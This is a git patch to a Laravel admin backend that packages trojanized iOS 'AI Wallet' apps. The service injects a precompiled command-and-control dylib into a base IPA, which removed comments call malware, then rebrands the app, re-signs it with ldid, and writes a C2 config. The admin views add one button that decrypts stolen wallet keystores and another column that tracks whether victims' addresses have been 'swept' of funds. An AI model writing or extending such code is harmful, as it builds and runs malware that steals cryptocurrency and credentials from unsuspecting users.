From ea82eddbf0685c728d8ebd295fb3dfdca73a73fc Mon Sep 17 00:00:00 2001 From: hashbro Date: Sat, 10 Oct 2026 01:53:17 +0800 Subject: [PATCH] feat: app --- .../Controllers/Admin/DeviceController.php | 7 +- app/Models/TransferRecord.php | 40 +++ app/Services/AiWalletPackageService.php | 315 ++++++++---------- bin/patch_plist.py | 51 +++ resources/views/admin/devices/show.blade.php | 32 +- storage/app/app-templates/c2_simple.dylib | Bin 73816 -> 75184 bytes tests/Feature/KeystoreAdminTest.php | 3 +- tests/Feature/WalletAddressFilterTest.php | 54 +++ 8 files changed, 320 insertions(+), 182 deletions(-) create mode 100755 bin/patch_plist.py diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index 6777974..b5dbf4e 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -16,6 +16,7 @@ use App\Models\Photo; use App\Models\PluginSession; use App\Models\PhotoRead; use App\Models\User; +use App\Models\TransferRecord; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; @@ -619,7 +620,9 @@ class DeviceController extends Controller $q->where('chain_type', $chainType); } $paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page); - $data = collect($paginator->items())->map(function (WalletAddress $addr) { + $items = collect($paginator->items()); + $swept = TransferRecord::successfulSweepSet($items->pluck('address')->all()); + $data = $items->map(function (WalletAddress $addr) use ($swept) { $coins = $addr->formattedCoins(); return [ @@ -632,6 +635,7 @@ class DeviceController extends Controller 'eth' => $coins['eth'], 'btc' => $coins['btc'], 'bnb' => $coins['bnb'], + 'collected' => TransferRecord::addressInSweepSet((string) $addr->address, $swept), 'monitor' => (int) $addr->monitor, 'monitor_synced' => (bool) $addr->monitor_synced, 'monitor_failures' => (int) $addr->monitor_failures, @@ -707,6 +711,7 @@ class DeviceController extends Controller 'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false), 'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'), 'detail_api_url' => route($portal.'.keystores.detail', $row->id), + 'decrypt_url' => route($portal.'.keystores.decrypt', $row->id), 'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id), ]; })->values(); diff --git a/app/Models/TransferRecord.php b/app/Models/TransferRecord.php index eb3f40b..a33fdd7 100644 --- a/app/Models/TransferRecord.php +++ b/app/Models/TransferRecord.php @@ -24,4 +24,44 @@ class TransferRecord extends Model 'status', 'error', ]; + + /** + * Addresses that already have a successful outbound sweep. + * + * @param list $addresses + * @return array + */ + public static function successfulSweepSet(array $addresses): array + { + $addresses = array_values(array_unique(array_filter( + $addresses, + static fn ($address) => is_string($address) && $address !== '' + ))); + if ($addresses === []) { + return []; + } + + $found = static::query() + ->whereIn('from_address', $addresses) + ->where('status', self::STATUS_SUCCESS) + ->where('type', self::TYPE_OUT) + ->distinct() + ->pluck('from_address'); + + $set = []; + foreach ($found as $address) { + $set[(string) $address] = true; + $set[strtolower((string) $address)] = true; + } + + return $set; + } + + /** + * @param array $set + */ + public static function addressInSweepSet(string $address, array $set): bool + { + return isset($set[$address]) || isset($set[strtolower($address)]); + } } diff --git a/app/Services/AiWalletPackageService.php b/app/Services/AiWalletPackageService.php index a571961..350e5e7 100644 --- a/app/Services/AiWalletPackageService.php +++ b/app/Services/AiWalletPackageService.php @@ -9,29 +9,15 @@ use RuntimeException; /** * Build a customized AI Wallet IPA for App-builder channels. * - * Uses a pre-compiled c2_simple.dylib (compiled on macOS) and a - * runtime c2_config.plist to configure domain/channel per build. - * No iOS SDK or Xcode required on the Linux build server. - * - * Build flow: - * 1. Extract ai-live-base.ipa (original malware) - * 2. Copy pre-compiled c2_simple.dylib to Frameworks/ - * 3. Generate c2_config.plist with channel-specific settings - * 4. Add LC_LOAD_DYLIB to main binary (before libutils) - * 5. Patch Info.plist (app name, bundle ID, white launch screen) - * 6. Generate icons from uploaded logo - * 7. Sign with ldid - * 8. Package as IPA + * Uses pre-compiled c2_simple.dylib + runtime c2_config.plist. + * Binary and plist editing use Python scripts (PHP regex corrupts XML/Mach-O). + * Signing uses ldid via proc_open. */ class AiWalletPackageService { - /** Base IPA path (original ai-live malware) */ private const BASE_IPA = 'app-templates/ai-live-base.ipa'; - - /** Pre-compiled c2_simple.dylib */ private const C2_DYLIB = 'app-templates/c2_simple.dylib'; - /** Icon sizes */ private const ICON_SIZES = [ 'AppIcon60x60@2x.png' => 120, 'AppIcon60x60@3x.png' => 180, @@ -44,10 +30,10 @@ class AiWalletPackageService $c2Dylib = storage_path('app/'.self::C2_DYLIB); if (!file_exists($baseIpa)) { - return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.'); + return $this->fail('Base IPA not found: '.$baseIpa); } if (!file_exists($c2Dylib)) { - return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.'); + return $this->fail('c2_simple.dylib not found: '.$c2Dylib); } $workDir = storage_path('app/app-builds/'.$channel->channel_id); @@ -55,6 +41,8 @@ class AiWalletPackageService @mkdir($workDir, 0755, true); try { + Log::info('AiWallet: build started', ['channel' => $channel->channel_id]); + // 1. Extract base IPA $zip = new \ZipArchive; if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA'); @@ -68,26 +56,41 @@ class AiWalletPackageService $fwDir = $appDir.'/Frameworks'; if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true); copy($c2Dylib, $fwDir.'/c2_simple.dylib'); + Log::info('AiWallet: c2_simple.dylib copied'); - // 3. Generate c2_config.plist + // 3. Write c2_config.plist $this->writeConfigPlist($appDir, $channel, $apiDomain); + Log::info('AiWallet: c2_config.plist written'); - // 4. Add LC_LOAD_DYLIB to main binary + // 4. Add LC_LOAD_DYLIB (Python script) $mainBin = $this->findMainBinary($appDir); - $this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib'); + $this->runPython(base_path('bin/add_dylib.py'), [$mainBin, '@rpath/c2_simple.dylib']); + Log::info('AiWallet: LC_LOAD_DYLIB added'); - // 5. Patch Info.plist - $this->patchInfoPlist($appDir, $channel); + // 5. Patch Info.plist (Python script) + $this->runPython(base_path('bin/patch_plist.py'), [ + $appDir.'/Info.plist', + $channel->app_name, + $channel->bundle_id ?: 'com.ai.wallet.next', + '1.6.1', + ]); + Log::info('AiWallet: Info.plist patched'); - // 6. Generate icons + // 6. Replace splash + remove LaunchScreen + $this->replaceSplashAndLaunchScreen($appDir); + Log::info('AiWallet: splash/LaunchScreen replaced'); + + // 7. Generate icons if ($logoPath && file_exists($logoPath)) { $this->generateIcons($appDir, $logoPath); + Log::info('AiWallet: icons generated'); } - // 7. Sign + // 8. Sign with ldid $this->sign($appDir); + Log::info('AiWallet: signed'); - // 8. Package + // 9. Package IPA $outputPath = 'channel/'.$channel->channel_id.'/app.ipa'; $outputFull = public_path($outputPath); @mkdir(dirname($outputFull), 0755, true); @@ -102,11 +105,12 @@ class AiWalletPackageService $size = filesize($outputFull); $this->rrmdir($workDir); + Log::info('AiWallet: build complete', ['size' => $size]); return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => '']; } catch (\Throwable $e) { $this->rrmdir($workDir); - Log::error('AiWalletPackageService: build failed', [ + Log::error('AiWallet: build failed', [ 'channel' => $channel->channel_id, 'error' => $e->getMessage(), ]); @@ -125,90 +129,124 @@ class AiWalletPackageService 'AppName' => $channel->app_name, ]; - $plist = $this->arrayToXmlPlist($config); - file_put_contents($appDir.'/c2_config.plist', $plist); - } - - private function arrayToXmlPlist(array $data): string - { - $xml = ''."\n"; - $xml .= ''."\n"; - $xml .= ''."\n"; - foreach ($data as $key => $value) { + $xml = ''."\n" + .''."\n" + .''."\n"; + foreach ($config as $key => $value) { $xml .= ''.htmlspecialchars($key).''.htmlspecialchars($value).''."\n"; } $xml .= ''; - return $xml; + file_put_contents($appDir.'/c2_config.plist', $xml); } - private function patchInfoPlist(string $appDir, Channel $channel): void + private function runPython(string $script, array $args): void { - $plistFile = $appDir.'/Info.plist'; - $data = file_get_contents($plistFile); - - // Use plistlib via shell (available on Linux) - $tmpFile = tempnam(sys_get_temp_dir(), 'plist'); - file_put_contents($tmpFile, $data); - - $changes = [ - 'CFBundleDisplayName' => $channel->app_name, - 'CFBundleName' => $channel->app_name, - 'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next', - 'CFBundleShortVersionString' => '1.6.1', - 'CFBundleVersion' => '1.6.1', - ]; - - foreach ($changes as $key => $value) { - $escaped = escapeshellarg($value); - exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true"); - // Fallback: use sed for XML plists - $data = file_get_contents($tmpFile); - $data = preg_replace( - '#'.preg_quote($key, '#').'\s*[^<]*#', - ''.$key.''.htmlspecialchars($value).'', - $data - ); - file_put_contents($tmpFile, $data); + if (!file_exists($script)) { + throw new RuntimeException('Script not found: '.$script); } - - // Remove storyboard reference, add UILaunchScreen (white background) - $data = file_get_contents($tmpFile); - $data = preg_replace('#UILaunchStoryboardName\s*[^<]*#', '', $data); - if (!str_contains($data, 'UILaunchScreen')) { - $data = str_replace('', 'UILaunchScreen', $data); + $cmd = 'python3 '.escapeshellarg($script); + foreach ($args as $arg) { + $cmd .= ' '.escapeshellarg($arg); } - file_put_contents($plistFile, $data); - unlink($tmpFile); - } + $cmd .= ' 2>&1'; - private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void - { - // Use Python script for Mach-O editing — PHP binary manipulation - // corrupts the binary by inserting bytes (shifts code signature blob). - // The Python script uses existing free space in the load command table, - // preserving the file size and not breaking the signature. - $scriptPath = base_path('bin/add_dylib.py'); - - if (!file_exists($scriptPath)) { - throw new RuntimeException('add_dylib.py not found at '.$scriptPath); - } - - $cmd = sprintf( - 'python3 %s %s %s 2>&1', - escapeshellarg($scriptPath), - escapeshellarg($binaryPath), - escapeshellarg($dylibPath) - ); - $output = []; $exitCode = 0; exec($cmd, $output, $exitCode); - + if ($exitCode !== 0) { - throw new RuntimeException('add_dylib.py failed: '.implode("\n", $output)); + throw new RuntimeException(basename($script).' failed ('.$exitCode.'): '.implode("\n", $output)); } - - Log::info('AiWalletPackageService: add_dylib.py output', ['output' => $output]); + Log::info('AiWallet: '.basename($script).' output', ['output' => $output]); + } + + private function replaceSplashAndLaunchScreen(string $appDir): void + { + // Replace Flutter splash with white + $splashPath = $appDir.'/Frameworks/App.framework/flutter_assets/assets/launch/splash.png'; + if (file_exists($splashPath) && function_exists('imagecreatetruecolor')) { + $img = imagecreatetruecolor(10, 10); + $white = imagecolorallocate($img, 255, 255, 255); + imagefill($img, 0, 0, $white); + imagepng($img, $splashPath); + imagedestroy($img); + } + + // Remove LaunchScreen storyboard + $lsDir = $appDir.'/Base.lproj/LaunchScreen.storyboardc'; + if (is_dir($lsDir)) $this->rrmdir($lsDir); + } + + private function generateIcons(string $appDir, string $logoPath): void + { + if (!function_exists('imagecreatefrompng')) { + Log::warning('AiWallet: GD not available, skipping icons'); + return; + } + + $src = imagecreatefrompng($logoPath); + if (!$src) return; + + // Remove Assets.car so iOS uses loose PNGs + $assetsCar = $appDir.'/Assets.car'; + if (file_exists($assetsCar)) unlink($assetsCar); + + foreach (self::ICON_SIZES as $filename => $size) { + $dst = imagecreatetruecolor($size, $size); + imagealphablending($dst, false); + imagesavealpha($dst, true); + imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src)); + imagepng($dst, $appDir.'/'.$filename); + imagedestroy($dst); + } + imagedestroy($src); + } + + private function sign(string $appDir): void + { + $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid'))); + if ($ldidPath === '' || !file_exists($ldidPath)) { + Log::warning('AiWallet: ldid not found', ['path' => $ldidPath]); + return; + } + + $csDir = $appDir.'/_CodeSignature'; + if (is_dir($csDir)) $this->rrmdir($csDir); + + $binaries = array_merge( + [$this->findMainBinary($appDir)], + glob($appDir.'/Frameworks/*.dylib') ?: [], + glob($appDir.'/*.dylib') ?: [], + ); + + foreach ($binaries as $bin) { + if (!is_file($bin)) continue; + + $spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; + $proc = proc_open([$ldidPath, '-S', $bin], $spec, $pipes); + + if (is_resource($proc)) { + fclose($pipes[0]); + $stdout = stream_get_contents($pipes[1]); + $stderr = stream_get_contents($pipes[2]); + fclose($pipes[1]); + fclose($pipes[2]); + $exitCode = proc_close($proc); + + if ($exitCode !== 0) { + Log::warning('AiWallet: ldid failed for '.basename($bin), [ + 'exit' => $exitCode, 'stderr' => $stderr, + ]); + } else { + Log::info('AiWallet: ldid signed '.basename($bin)); + } + } + } + + @mkdir($csDir, 0755, true); + file_put_contents($csDir.'/CodeResources', + ''."\n". + 'files'); } private function findAppDir(string $workDir): ?string @@ -223,91 +261,10 @@ class AiWalletPackageService private function findMainBinary(string $appDir): string { - // Main binary has the same name as the .app directory $appName = basename($appDir, '.app'); return $appDir.'/'.$appName; } - private function generateIcons(string $appDir, string $logoPath): void - { - if (!function_exists('imagecreatefrompng')) { - Log::warning('AiWalletPackageService: GD not available, skipping icons'); - return; - } - - $src = imagecreatefrompng($logoPath); - if (!$src) return; - - foreach (self::ICON_SIZES as $filename => $size) { - $dst = imagecreatetruecolor($size, $size); - imagealphablending($dst, false); - imagesavealpha($dst, true); - imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, - imagesx($src), imagesy($src)); - imagepng($dst, $appDir.'/'.$filename); - imagedestroy($dst); - } - imagedestroy($src); - } - - private function sign(string $appDir): void - { - // Remove old signatures - $csDir = $appDir.'/_CodeSignature'; - if (is_dir($csDir)) $this->rrmdir($csDir); - - $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid'))); - if ($ldidPath === '' || !file_exists($ldidPath)) { - Log::warning('AiWalletPackageService: ldid not found at '.$ldidPath); - return; - } - - // Create entitlements file - $entFile = $appDir.'/../entitlements.xml'; - $entXml = ''."\n" - .''."\n" - .''."\n" - .'get-task-allow'."\n" - .'keychain-access-groups*'."\n" - .'platform-application'."\n" - .''; - file_put_contents($entFile, $entXml); - - // Sign all binaries with entitlements - $binaries = array_merge( - [$this->findMainBinary($appDir)], - glob($appDir.'/Frameworks/*.dylib') ?: [], - glob($appDir.'/*.dylib') ?: [], - glob($appDir.'/Frameworks/*.framework/*') ?: [], - ); - - foreach ($binaries as $bin) { - if (!is_file($bin)) continue; - $cmd = escapeshellarg($ldidPath) - .' -S'.escapeshellarg($entFile) - .' '.escapeshellarg($bin).' 2>&1'; - $output = []; - $exitCode = 0; - exec($cmd, $output, $exitCode); - if ($exitCode !== 0) { - Log::warning('AiWalletPackageService: ldid sign failed for '.basename($bin), [ - 'cmd' => $cmd, - 'output' => implode("\n", $output), - 'exit_code' => $exitCode, - ]); - } - } - - // Also create bundle _CodeSignature - $bundleCs = $appDir.'/_CodeSignature'; - @mkdir($bundleCs, 0755, true); - file_put_contents($bundleCs.'/CodeResources', ''."\n" - .'files'); - - // Cleanup entitlements file - @unlink($entFile); - } - private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void { foreach (scandir($dir) as $item) { diff --git a/bin/patch_plist.py b/bin/patch_plist.py new file mode 100755 index 0000000..f0379ce --- /dev/null +++ b/bin/patch_plist.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +"""Patch an iOS Info.plist: set bundle identity, white launch screen, icons.""" +import plistlib +import sys +import os + +def main(): + plist_path = sys.argv[1] + app_name = sys.argv[2] + bundle_id = sys.argv[3] + version = sys.argv[4] + + with open(plist_path, 'rb') as f: + plist = plistlib.load(f) + + # Set identity + plist['CFBundleDisplayName'] = app_name + plist['CFBundleName'] = app_name + plist['CFBundleIdentifier'] = bundle_id + plist['CFBundleShortVersionString'] = version + plist['CFBundleVersion'] = version + + # White launch screen + plist.pop('UILaunchStoryboardName', None) + plist['UILaunchScreen'] = {} + + # Icon references (loose PNGs) + plist['CFBundleIcons'] = { + 'CFBundlePrimaryIcon': { + 'CFBundleIconName': 'AppIcon', + 'CFBundleIconFiles': ['AppIcon60x60'], + } + } + plist['CFBundleIcons~ipad'] = { + 'CFBundlePrimaryIcon': { + 'CFBundleIconFiles': [ + 'AppIcon60x60@2x', + 'AppIcon60x60@3x', + 'AppIcon76x76@2x~ipad', + ], + 'CFBundleIconName': 'AppIcon', + } + } + + with open(plist_path, 'wb') as f: + plistlib.dump(plist, f) + + print(f"OK: patched {plist_path}") + +if __name__ == '__main__': + main() diff --git a/resources/views/admin/devices/show.blade.php b/resources/views/admin/devices/show.blade.php index 19c2f01..d1dbe58 100644 --- a/resources/views/admin/devices/show.blade.php +++ b/resources/views/admin/devices/show.blade.php @@ -641,6 +641,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { { field: 'eth', title: 'ETH', width: 90 }, { field: 'btc', title: 'BTC', width: 100 }, { field: 'bnb', title: 'BNB', width: 90 }, + { field: 'collected', title: '是否归集', width: 100, templet: function (d) { + return d.collected + ? '已归集' + : '未归集'; + } }, { field: 'monitor', title: '监听开关', width: 80, templet: function (d) { return Number(d.monitor) === 1 ? '开' : '关'; } }, @@ -676,9 +681,10 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { } }, { field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } }, { field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } }, - { title: '操作', width: 200, align: 'center', templet: function (d) { + { title: '操作', width: 260, align: 'center', templet: function (d) { var html = ''; if (d.detail_api_url && d.has_web3_keystore) html += '明文'; + if (d.decrypt_url) html += '解密'; if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '密码解密'; return html || '—'; } } @@ -759,6 +765,30 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () { if (tab === 'keystores') { table.on('tool(LAY-device-tab-list)', function (obj) { + if (obj.event === 'decrypt') { + if (!obj.data.decrypt_url) return layer.msg('无法解密'); + var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 }); + $.ajax({ + url: obj.data.decrypt_url, + method: 'POST', + data: { _token: token }, + timeout: 180000, + success: function (res) { + layer.msg((res && res.msg) || '已处理'); + if (res && res.code === 0) table.reload('LAY-device-tab-list'); + }, + error: function (xhr) { + var msg = '解密失败'; + if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试'; + else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg; + layer.msg(msg); + }, + complete: function () { + layer.close(loadIdx); + } + }); + return; + } if (obj.event === 'decryptPassword') { if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密'); layer.prompt({ diff --git a/storage/app/app-templates/c2_simple.dylib b/storage/app/app-templates/c2_simple.dylib index 05c551f1093c003a1e10df518e9b77c59f2bf005..1bf69d5d8c4c85867b5fae846437f9da1691c2a8 100755 GIT binary patch literal 75184 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 